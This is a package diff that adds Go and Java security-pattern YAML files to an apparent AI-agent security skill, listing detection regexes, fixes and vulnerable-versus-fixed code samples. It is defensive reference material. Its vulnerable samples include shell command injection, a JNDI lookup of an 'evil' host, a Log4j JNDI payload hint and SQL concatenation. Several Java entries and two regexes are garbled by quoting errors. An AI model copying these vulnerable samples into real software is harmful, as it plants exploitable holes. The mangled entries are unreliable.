@nockdev/awf 6.2.0

package/.agent/skills/core/security/data/language-specific/go-security.yaml

@@ -0,0 +1,219 @@
+metadata:
+  skill: security
+  domain: go_security
+  version: 6.2.0
+  updated: '2026-02-05'
+  migrated_from: go-security.csv
+  patterns_count: 20
+  columns:
+  - id
+  - name
+  - severity
+  - category
+  - description
+  - detection_pattern
+  - fix_pattern
+  - cwe
+  - example_vuln
+  - example_fix
+patterns:
+- id: GO-01
+  name: Unchecked Error Return
+  severity: HIGH
+  category: Error
+  description: Error return value ignored allowing silent failures
+  detection_pattern: err\\s*:?=.*\\n(?!.*if\\s+err|.*err\\s*!=)
+  fix_pattern: Always check error returns handle or propagate
+  cwe: CWE-252
+  example_vuln: result, _ := doSomething()
+  example_fix: result, err := doSomething()\nif err != nil { return err }
+- id: GO-02
+  name: Race Condition
+  severity: CRITICAL
+  category: Concurrency
+  description: Concurrent map access or shared state without sync
+  detection_pattern: (map\\[.*\\].*go\\s+func|go\\s+func.*map\\[)(?!.*sync|mutex|atomic)
+  fix_pattern: Use sync.Mutex sync.Map or channels for shared state
+  cwe: CWE-362
+  example_vuln: var cache map[string]int\ngo func() { cache['key'] = val }()
+  example_fix: var mu sync.Mutex\nmu.Lock()\ncache['key'] = val\nmu.Unlock()
+- id: GO-03
+  name: Command Injection
+  severity: CRITICAL
+  category: Injection
+  description: User input used in exec.Command without sanitization
+  detection_pattern: exec\\.Command\\(.*\\+|fmt\\.Sprintf.*exec\\.Command
+  fix_pattern: Use argument arrays never shell strings validate input
+  cwe: CWE-78
+  example_vuln: exec.Command('sh', '-c', 'echo ' + userInput)
+  example_fix: exec.Command('echo', userInput) // No shell
+- id: GO-04
+  name: Path Traversal
+  severity: HIGH
+  category: File
+  description: User input in filepath.Join without sanitization
+  detection_pattern: filepath\\.Join.*req\\.|os\\.Open.*\\+|ioutil\\.ReadFile.*\\+
+  fix_pattern: Use filepath.Clean validate path is within allowed dir
+  cwe: CWE-22
+  example_vuln: filepath.Join(baseDir, req.URL.Query().Get('file'))
+  example_fix: clean := filepath.Clean(userPath)\nif !strings.HasPrefix(clean, baseDir) { return err }
+- id: GO-05
+  name: SQL Injection
+  severity: CRITICAL
+  category: Injection
+  description: String concatenation in SQL queries
+  detection_pattern: (db\\.Query|db\\.Exec)\\(.*\\+|fmt\\.Sprintf.*Query
+  fix_pattern: Use parameterized queries with db.Query(query args...)
+  cwe: CWE-89
+  example_vuln: db.Query('SELECT * FROM users WHERE id = ' + id)
+  example_fix: db.Query('SELECT * FROM users WHERE id = ?', id)
+- id: GO-06
+  name: Weak TLS Config
+  severity: HIGH
+  category: Crypto
+  description: TLS config allows weak versions or insecure settings
+  detection_pattern: MinVersion.*tls\\.VersionTLS1[01]|InsecureSkipVerify.*true
+  fix_pattern: Enforce TLS 1.2+ verify certificates
+  cwe: CWE-327
+  example_vuln: '&tls.Config{MinVersion: tls.VersionTLS10}'
+  example_fix: '&tls.Config{MinVersion: tls.VersionTLS12}'
+- id: GO-07
+  name: Unsafe Pointer Use
+  severity: HIGH
+  category: Memory
+  description: Unsafe pointer operations risking memory corruption
+  detection_pattern: unsafe\\.Pointer|uintptr(?!.*reflect\\.SliceHeader)
+  fix_pattern: Avoid unsafe unless absolutely necessary add bounds checks
+  cwe: CWE-119
+  example_vuln: ptr := unsafe.Pointer(&data)\n*(*int)(ptr) = 42
+  example_fix: // Use safe alternatives or add extensive validation
+- id: GO-08
+  name: Missing Timeout
+  severity: HIGH
+  category: Reliability
+  description: HTTP client or context without timeout
+  detection_pattern: http\\.DefaultClient|context\\.Background\\(\\)(?!.*WithTimeout)
+  fix_pattern: Always set timeouts on HTTP clients and contexts
+  cwe: CWE-400
+  example_vuln: resp, err := http.Get(url)
+  example_fix: ctx, cancel := context.WithTimeout(ctx, 10*time.Second)\nreq = req.WithContext(ctx)
+- id: GO-09
+  name: Goroutine Leak
+  severity: MEDIUM
+  category: Memory
+  description: Goroutines started without cancellation mechanism
+  detection_pattern: go\\s+func\\(\\)(?!.*context|done|cancel)
+  fix_pattern: Use context for cancellation or done channels
+  cwe: CWE-400
+  example_vuln: go func() { for { process() } }()
+  example_fix: 'go func() { for { select { case <-ctx.Done(): return } } }()'
+- id: GO-10
+  name: Template Injection
+  severity: HIGH
+  category: Injection
+  description: User input in HTML templates without escaping
+  detection_pattern: template\\.HTML\\(.*req|text/template.*user
+  fix_pattern: Use html/template package always escape user data
+  cwe: CWE-79
+  example_vuln: template.HTML(userInput)
+  example_fix: // html/template auto-escapes\ntmpl.Execute(w, data) // data is escaped
+- id: GO-11
+  name: SSRF Via HTTP Client
+  severity: CRITICAL
+  category: Network
+  description: User-controlled URLs fetched without validation
+  detection_pattern: http\\.(Get|Post|Do).*req\\.(URL|Body|Query)
+  fix_pattern: Validate URLs against allowlist block internal IPs
+  cwe: CWE-918
+  example_vuln: http.Get(req.Query.Get('url'))
+  example_fix: url := req.Query.Get('url')\nif !isAllowed(url) { return }\nhttp.Get(url)
+- id: GO-12
+  name: Crypto Rand Misuse
+  severity: HIGH
+  category: Crypto
+  description: Using math/rand instead of crypto/rand for security
+  detection_pattern: math/rand(?!.*seed)|rand\\.(Int|Read)(?!.*crypto)
+  fix_pattern: Use crypto/rand for security-sensitive random values
+  cwe: CWE-338
+  example_vuln: import 'math/rand'\ntoken := rand.Int()
+  example_fix: import 'crypto/rand'\nrand.Read(token)
+- id: GO-13
+  name: Defer in Loop
+  severity: MEDIUM
+  category: Resource
+  description: Defer statement inside loop causing resource accumulation
+  detection_pattern: for.*\\{[^}]*defer
+  fix_pattern: Move defer outside loop or use explicit close
+  cwe: CWE-400
+  example_vuln: for _, f := range files { defer f.Close() }
+  example_fix: for _, f := range files { f.Close() }
+- id: GO-14
+  name: Missing Input Validation
+  severity: HIGH
+  category: Input
+  description: No validation on struct fields from HTTP request
+  detection_pattern: json\\.Unmarshal.*req\\.Body(?!.*valid)
+  fix_pattern: Use validator package validate before processing
+  cwe: CWE-20
+  example_vuln: json.Unmarshal(body, &req)
+  example_fix: json.Unmarshal(body, &req)\nif err := validate.Struct(req); err != nil { return err }
+- id: GO-15
+  name: Hardcoded Credentials
+  severity: CRITICAL
+  category: Secrets
+  description: Passwords or API keys hardcoded in source
+  detection_pattern: (password|apikey|secret)\\s*[:=]\\s*['\][^'\"]+['\"]"
+  fix_pattern: Use environment variables or secrets manager
+  cwe: CWE-798
+  example_vuln: dbPassword := 'mypassword123'
+  example_fix: dbPassword := os.Getenv('DB_PASSWORD')
+- id: GO-16
+  name: Integer Overflow
+  severity: HIGH
+  category: Math
+  description: Integer operations without overflow check
+  detection_pattern: \\+\\+|\\+=|\\*=(?!.*overflow|check)
+  fix_pattern: Use math.MaxInt checks or safe math libraries
+  cwe: CWE-190
+  example_vuln: total := a + b // May overflow
+  example_fix: if a > math.MaxInt64-b { return ErrOverflow }\ntotal := a + b
+- id: GO-17
+  name: Missing CSRF Protection
+  severity: HIGH
+  category: Web
+  description: Form handlers without CSRF token validation
+  detection_pattern: http\\.HandleFunc.*/.*POST(?!.*csrf)
+  fix_pattern: Implement CSRF tokens for all state-changing requests
+  cwe: CWE-352
+  example_vuln: http.HandleFunc('/transfer', transferHandler)
+  example_fix: // Use gorilla/csrf middleware\nhttp.Handle('/transfer', csrf.Protect(key)(handler))
+- id: GO-18
+  name: Open Redirect
+  severity: MEDIUM
+  category: Web
+  description: Redirect destination from user input without validation
+  detection_pattern: http\\.Redirect.*req\\.(URL|Query|Form)
+  fix_pattern: Validate redirect URLs against allowlist
+  cwe: CWE-601
+  example_vuln: http.Redirect(w, r, r.Query.Get('next'), 302)
+  example_fix: next := r.Query.Get('next')\nif !isInternal(next) { next = '/' }\nhttp.Redirect(w, r, next, 302)
+- id: GO-19
+  name: Nil Pointer Dereference
+  severity: HIGH
+  category: Runtime
+  description: Pointer usage without nil check
+  detection_pattern: (\\*\\w+)\\.(\\w+)(?<!if.*!=.*nil.*\\{)
+  fix_pattern: Check for nil before dereferencing pointers
+  cwe: CWE-476
+  example_vuln: user.Name // user may be nil
+  example_fix: if user == nil { return ErrNotFound }\nname := user.Name
+- id: GO-20
+  name: Sync Once Misuse
+  severity: MEDIUM
+  category: Concurrency
+  description: sync.Once with closure over wrong variable
+  detection_pattern: sync\\.Once.*Do.*func.*\\{.*rangeVar
+  fix_pattern: Capture loop variable correctly in closure
+  cwe: CWE-362
+  example_vuln: for _, v := range items { once.Do(func() { use(v) }) }
+  example_fix: for _, v := range items { v := v; once.Do(func() { use(v) }) }

package/.agent/skills/core/security/data/language-specific/java-security.yaml

@@ -0,0 +1,295 @@
+metadata:
+  skill: security
+  domain: java_security
+  version: 6.2.0
+  updated: '2026-02-05'
+  migrated_from: java-security.csv
+  patterns_count: 25
+  columns:
+  - id
+  - name
+  - severity
+  - category
+  - description
+  - detection_pattern
+  - fix_pattern
+  - cwe
+  - cve_reference
+  - example_vuln
+  - example_fix
+patterns:
+- id: JV-01
+  name: Unsafe Deserialization
+  severity: CRITICAL
+  category: Deserialization
+  description: ObjectInputStream deserializes untrusted data leading to RCE
+  detection_pattern: ObjectInputStream(?!.*SerialKiller|whitelist)
+  fix_pattern: Use look-ahead deserialization with class whitelist
+  cwe: CWE-502
+  cve_reference: CVE-2024-28212
+  example_vuln: new ObjectInputStream(untrusted).readObject()
+  example_fix: ObjectInputFilter filter = ...; ois.setObjectInputFilter(filter);
+- id: JV-02
+  name: JNDI Injection
+  severity: CRITICAL
+  category: Injection
+  description: InitialContext.lookup with user input allows RCE via LDAP/RMI
+  detection_pattern: InitialContext.*lookup.*input(?!.*allowlist)
+  fix_pattern: Restrict JNDI protocols and factory classes
+  cwe: CWE-74
+  cve_reference: CVE-2022-44228,CVE-2024-22319
+  example_vuln: ctx.lookup(userInput)
+  example_fix: '// Restrict to java: naming\nif (!url.startsWith(\java:\")) throw new SecurityException();"'
+- id: JV-03
+  name: JNDI iiop Bypass
+  severity: CRITICAL
+  category: Injection
+  description: JNDI injection via iiop/corbaname bypasses blacklists
+  detection_pattern: 'lookup.*iiop:|lookup.*corbaname:'
+  fix_pattern: Disable iiop corbaname iiopname protocols
+  cwe: CWE-74
+  cve_reference: CVE-2025-64428
+  example_vuln: ctx.lookup(\iiop://evil\" + input)"
+  example_fix: // Block all non-java protocols\nSystem.setProperty(\jdk.jndi.object.factoriesFilter\"
+- id: JV-04
+  name: Spring SpEL Injection
+  severity: CRITICAL
+  category: Injection
+  description: SpEL parseExpression with user input leads to RCE
+  detection_pattern: SpelExpressionParser.*parseExpression.*input
+  fix_pattern: Use SimpleEvaluationContext or avoid SpEL with user input
+  cwe: CWE-917
+  cve_reference: n/a
+  example_vuln: new SpelExpressionParser().parseExpression(input)
+  example_fix: StandardEvaluationContext ctx = new StandardEvaluationContext();\nctx.setRootObject(safeData); // No user input in expression
+- id: JV-05
+  name: Spring Authorization Bypass
+  severity: HIGH
+  category: Authorization
+  description: Inherited method annotations not detected in complex hierarchies
+  detection_pattern: '@PreAuthorize.*extends.*\\<.*\\>(?!.*6\\.4\\.10)'
+  fix_pattern: Upgrade Spring Security 6.4.10+ or 6.5.4+
+  cwe: CWE-863
+  cve_reference: CVE-2025-41248,CVE-2025-41249
+  example_vuln: '@PreAuthorize on parent method with unbounded generic'
+  example_fix: // Upgrade Spring Security to 6.4.10+ or 6.5.4+
+- id: JV-06
+  name: Log4j Message Lookup
+  severity: CRITICAL
+  category: Injection
+  description: Log4j 2.x allows JNDI lookups in log messages
+  detection_pattern: log\\.(info|error|debug).*\\$\\{(?!.*2\\.17)
+  fix_pattern: Upgrade Log4j 2.17+ and set log4j2.formatMsgNoLookups=true
+  cwe: CWE-917
+  cve_reference: CVE-2021-44228,CVE-2021-45046
+  example_vuln: 'log.error(\User: \" + userInput) // Contains ${jndi:ldap://}"'
+  example_fix: 'log.error(\User: {}\"'
+- id: JV-07
+  name: XML External Entity
+  severity: CRITICAL
+  category: Injection
+  description: DocumentBuilder allows external entity resolution
+  detection_pattern: DocumentBuilderFactory(?!.*setFeature.*false)
+  fix_pattern: Disable external entities and DTD processing
+  cwe: CWE-611
+  cve_reference: n/a
+  example_vuln: factory.newDocumentBuilder().parse(xmlInput)
+  example_fix: factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\nfactory.setFeature(\http://apache.org/xml/features/disallow-doctype-decl\"
+- id: JV-08
+  name: XXE SAXParser
+  severity: CRITICAL
+  category: Injection
+  description: SAXParser allows XXE via external entities
+  detection_pattern: SAXParserFactory(?!.*setFeature.*disallow-doctype)
+  fix_pattern: Disable DTD processing in SAXParserFactory
+  cwe: CWE-611
+  cve_reference: n/a
+  example_vuln: SAXParserFactory.newInstance().newSAXParser().parse(xml)
+  example_fix: factory.setFeature(\http://apache.org/xml/features/disallow-doctype-decl\"
+- id: JV-09
+  name: SQL Injection Statement
+  severity: CRITICAL
+  category: Injection
+  description: Statement.execute with string concatenation
+  detection_pattern: Statement.*execute.*\\+.*input|createStatement.*\\+
+  fix_pattern: Use PreparedStatement with parameterized queries
+  cwe: CWE-89
+  cve_reference: n/a
+  example_vuln: stmt.execute(\SELECT * WHERE id=\" + id)"
+  example_fix: PreparedStatement ps = conn.prepareStatement(\SELECT * WHERE id=?\");\nps.setInt(1
+- id: JV-10
+  name: SSRF RestTemplate
+  severity: HIGH
+  category: Network
+  description: RestTemplate with user URL allows SSRF
+  detection_pattern: RestTemplate.*getForObject.*input(?!.*allowlist)
+  fix_pattern: Validate URLs against allowlist block internal IPs
+  cwe: CWE-918
+  cve_reference: n/a
+  example_vuln: restTemplate.getForObject(userUrl, String.class)
+  example_fix: if (isAllowedUrl(userUrl)) restTemplate.getForObject(userUrl, String.class);
+- id: JV-11
+  name: Path Traversal Files
+  severity: HIGH
+  category: File
+  description: File constructor with user input allows path traversal
+  detection_pattern: new\\s+File.*input(?!.*normalize|canonicalize)
+  fix_pattern: Use Path.normalize() and validate against base directory
+  cwe: CWE-22
+  cve_reference: n/a
+  example_vuln: new File(base + userInput)
+  example_fix: Path path = Paths.get(base, userInput).normalize();\nif (!path.startsWith(base)) throw new SecurityException();
+- id: JV-12
+  name: Insecure Random
+  severity: HIGH
+  category: Cryptography
+  description: java.util.Random used for security-sensitive values
+  detection_pattern: java\\.util\\.Random(?!.*SecureRandom).*token|session
+  fix_pattern: Use java.security.SecureRandom for cryptographic purposes
+  cwe: CWE-330
+  cve_reference: n/a
+  example_vuln: new Random().nextLong() // For token
+  example_fix: new SecureRandom().nextLong()
+- id: JV-13
+  name: Hardcoded Credentials
+  severity: HIGH
+  category: Secrets
+  description: Password or secret hardcoded in source code
+  detection_pattern: (password|apiKey|secret)\\s*=\\s*\[^\"]+\""
+  fix_pattern: Use environment variables or secrets manager
+  cwe: CWE-798
+  cve_reference: n/a
+  example_vuln: String apiKey = \sk-1234567890\";"
+  example_fix: String apiKey = System.getenv(\API_KEY\");"
+- id: JV-14
+  name: Weak Password Hash
+  severity: HIGH
+  category: Cryptography
+  description: MD5 or SHA1 used for password hashing
+  detection_pattern: MessageDigest.*getInstance.*(MD5|SHA-1).*password
+  fix_pattern: Use bcrypt scrypt or PBKDF2 with sufficient iterations
+  cwe: CWE-327
+  cve_reference: n/a
+  example_vuln: MessageDigest.getInstance(\MD5\").digest(password.getBytes())"
+  example_fix: BCrypt.hashpw(password, BCrypt.gensalt(12))
+- id: JV-15
+  name: Timing Attack BCrypt
+  severity: MEDIUM
+  category: Authentication
+  description: BCrypt comparison bypassed with long passwords 72+ chars
+  detection_pattern: BCryptPasswordEncoder(?!.*truncate|length)
+  fix_pattern: Check password length before BCrypt or upgrade Spring Security 6.4.10+
+  cwe: CWE-208
+  cve_reference: CVE-2025-22234
+  example_vuln: // Password > 72 chars bypasses timing protection
+  example_fix: if (password.length() > 72) throw new IllegalArgumentException();
+- id: JV-16
+  name: Insecure Cookie
+  severity: HIGH
+  category: Session
+  description: Cookie without Secure/HttpOnly flags
+  detection_pattern: new\\s+Cookie(?!.*setSecure|setHttpOnly)
+  fix_pattern: Set Secure HttpOnly and SameSite attributes
+  cwe: CWE-614
+  cve_reference: n/a
+  example_vuln: Cookie c = new Cookie(\session\"
+  example_fix: token);"
+- id: JV-17
+  name: OGNL Injection Struts
+  severity: CRITICAL
+  category: Injection
+  description: OGNL expression evaluation with user input
+  detection_pattern: OgnlContext.*getValue.*input|Ognl.*getValue
+  fix_pattern: Upgrade Struts disable OGNL in user-facing code
+  cwe: CWE-917
+  cve_reference: CVE-2017-5638
+  example_vuln: Ognl.getValue(userExpression, context)
+  example_fix: // Struts 2.5.30+ with excludedPatterns
+- id: JV-18
+  name: Spring Kafka Deser
+  severity: HIGH
+  category: Deserialization
+  description: Improper ErrorHandlingDeserializer config allows RCE
+  detection_pattern: ErrorHandlingDeserializer(?!.*checkHeaders|trusted)
+  fix_pattern: Configure trusted packages or disable exception header deser
+  cwe: CWE-502
+  cve_reference: CVE-2023-34040
+  example_vuln: '@KafkaListener with default ErrorHandlingDeserializer'
+  example_fix: spring.kafka.consumer.properties.spring.deserializer.key.delegate.class=StringDeserializer
+- id: JV-19
+  name: DoS Spring Security
+  severity: HIGH
+  category: DoS
+  description: Spring Security 6.1/6.2 vulnerable to DoS with MVC
+  detection_pattern: Spring.*MVC.*Security\\.6\\.(1\\.[0-5]|2\\.[0-1])
+  fix_pattern: Upgrade Spring Framework 6.0.16+ or Spring Security 6.2.2+
+  cwe: CWE-400
+  cve_reference: CVE-2024-22233
+  example_vuln: // Affected versions
+  example_fix: // Upgrade to Spring Security 6.2.2+
+- id: JV-20
+  name: JWT Algorithm Confusion
+  severity: CRITICAL
+  category: Authentication
+  description: JWT verification without algorithm restriction
+  detection_pattern: Jwts\\.parser(?!.*setSigningKey.*Algorithm)
+  fix_pattern: Explicitly specify allowed algorithms in JWT parser
+  cwe: CWE-347
+  cve_reference: n/a
+  example_vuln: Jwts.parser().setSigningKey(key).parse(token)
+  example_fix: Jwts.parserBuilder().setSigningKey(key).setAllowedClockSkewSeconds(0).requireAlgorithm(\HS256\").build();"
+- id: JV-21
+  name: SSRF WebClient
+  severity: HIGH
+  category: Network
+  description: WebClient with user URL allows SSRF
+  detection_pattern: WebClient.*uri.*input(?!.*validate)
+  fix_pattern: Validate URLs block internal networks
+  cwe: CWE-918
+  cve_reference: n/a
+  example_vuln: webClient.get().uri(userUrl).retrieve()
+  example_fix: if (isExternalUrl(userUrl)) webClient.get().uri(userUrl).retrieve();
+- id: JV-22
+  name: Reflection Injection
+  severity: HIGH
+  category: Injection
+  description: Class.forName with user input allows instantiation of dangerous classes
+  detection_pattern: Class\\.forName.*input(?!.*allowlist)
+  fix_pattern: Whitelist allowed classes for reflection
+  cwe: CWE-470
+  cve_reference: n/a
+  example_vuln: Class.forName(userInput).newInstance()
+  example_fix: if (ALLOWED_CLASSES.contains(userInput)) Class.forName(userInput).newInstance();
+- id: JV-23
+  name: LDAP Injection
+  severity: HIGH
+  category: Injection
+  description: LDAP filter with unsanitized user input
+  detection_pattern: search.*filter.*\\+.*input(?!.*escape)
+  fix_pattern: Use parameterized LDAP filters or escape special characters
+  cwe: CWE-90
+  cve_reference: n/a
+  example_vuln: ctx.search(\ou=users\"
+  example_fix: \"(uid=\" + input + \")\")"
+- id: JV-24
+  name: Zip Slip
+  severity: HIGH
+  category: File
+  description: Zip extraction without validating entry names allows path traversal
+  detection_pattern: ZipInputStream.*getNextEntry(?!.*normalize|canonical)
+  fix_pattern: Validate zip entry names against destination directory
+  cwe: CWE-22
+  cve_reference: n/a
+  example_vuln: new File(destDir, entry.getName())
+  example_fix: Path dest = destDir.resolve(entry.getName()).normalize();\nif (!dest.startsWith(destDir)) throw new SecurityException();
+- id: JV-25
+  name: Server-Side Request Forgery URL
+  severity: HIGH
+  category: Network
+  description: java.net.URL with user input allows SSRF
+  detection_pattern: new\\s+URL.*input.*openConnection(?!.*validate)
+  fix_pattern: Validate URL protocol host and port against allowlist
+  cwe: CWE-918
+  cve_reference: n/a
+  example_vuln: new URL(userInput).openConnection()
+  example_fix: URL url = new URL(userInput);\nif (isAllowed(url.getHost())) url.openConnection();